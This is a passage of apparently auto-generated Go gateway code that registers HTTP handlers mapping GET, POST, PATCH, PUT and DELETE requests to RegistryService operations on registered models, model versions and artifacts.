outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PATCH\", pattern_RegistryService_UpdateRegisteredModel_1, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_RegistryService_UpdateRegisteredModel_1(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_UpdateRegisteredModel_1(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PATCH\", pattern_RegistryService_UpdateRegisteredModel_2, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_RegistryService_UpdateRegisteredModel_2(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_UpdateRegisteredModel_2(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PATCH\", pattern_RegistryService_UpdateRegisteredModel_3, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_RegistryService_UpdateRegisteredModel_3(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_UpdateRegisteredModel_3(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_RegistryService_UpdateRegisteredModel_4, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_RegistryService_UpdateRegisteredModel_4(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_UpdateRegisteredModel_4(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_RegistryService_UpdateRegisteredModel_5, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_RegistryService_UpdateRegisteredModel_5(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_UpdateRegisteredModel_5(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_RegistryService_DeleteRegisteredModel_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_RegistryService_DeleteRegisteredModel_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_DeleteRegisteredModel_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_RegistryService_DeleteRegisteredModel_1, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_RegistryService_DeleteRegisteredModel_1(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_DeleteRegisteredModel_1(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_RegistryService_FindModelVersion_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_RegistryService_FindModelVersion_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_FindModelVersion_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_RegistryService_FindModelVersion_1, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_RegistryService_FindModelVersion_1(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_FindModelVersion_1(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_RegistryService_FindModelVersion_2, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_RegistryService_FindModelVersion_2(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_FindModelVersion_2(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_RegistryService_FindModelVersion_3, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_RegistryService_FindModelVersion_3(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_FindModelVersion_3(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_RegistryService_GetModelVersion_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_RegistryService_GetModelVersion_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_GetModelVersion_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_RegistryService_GetModelVersion_1, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_RegistryService_GetModelVersion_1(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_GetModelVersion_1(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_RegistryService_CreateModelVersion_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_RegistryService_CreateModelVersion_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_CreateModelVersion_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_RegistryService_CreateModelVersion_1, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_RegistryService_CreateModelVersion_1(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_CreateModelVersion_1(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PATCH\", pattern_RegistryService_UpdateModelVersion_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_RegistryService_UpdateModelVersion_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_UpdateModelVersion_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PATCH\", pattern_RegistryService_UpdateModelVersion_1, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_RegistryService_UpdateModelVersion_1(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_UpdateModelVersion_1(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PATCH\", pattern_RegistryService_UpdateModelVersion_2, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_RegistryService_UpdateModelVersion_2(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_UpdateModelVersion_2(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PATCH\", pattern_RegistryService_UpdateModelVersion_3, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_RegistryService_UpdateModelVersion_3(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_UpdateModelVersion_3(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_RegistryService_UpdateModelVersion_4, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_RegistryService_UpdateModelVersion_4(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_UpdateModelVersion_4(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_RegistryService_UpdateModelVersion_5, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_RegistryService_UpdateModelVersion_5(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_UpdateModelVersion_5(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_RegistryService_SetLockModelVersion_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_RegistryService_SetLockModelVersion_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_SetLockModelVersion_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_RegistryService_DeleteModelVersion_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_RegistryService_DeleteModelVersion_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_DeleteModelVersion_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_RegistryService_DeleteModelVersion_1, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_RegistryService_DeleteModelVersion_1(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_DeleteModelVersion_1(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_RegistryService_DeleteModelVersion_2, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_RegistryService_DeleteModelVersion_2(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_DeleteModelVersion_2(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_RegistryService_GetUrlForArtifact_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_RegistryService_GetUrlForArtifact_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_GetUrlForArtifact_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_RegistryService_CommitArtifactPart_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_RegistryService_CommitArtifactPart_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_CommitArtifactPart_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_RegistryService_GetCommittedArtifactParts_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_RegistryService_GetCommittedArtifactParts_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_GetCommittedArtifactParts_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_RegistryService_CommitMultipartArtifact_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_RegistryService_CommitMultipartArtifact_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_CommitMultipartArtifact_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_RegistryService_DeleteModelVersionArtifact_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_RegistryService_DeleteModelVersionArtifact_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_DeleteModelVersionArtifact_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_RegistryService_LogDatasetsInModelVersion_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_RegistryService_LogDatasetsInModelVersion_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, 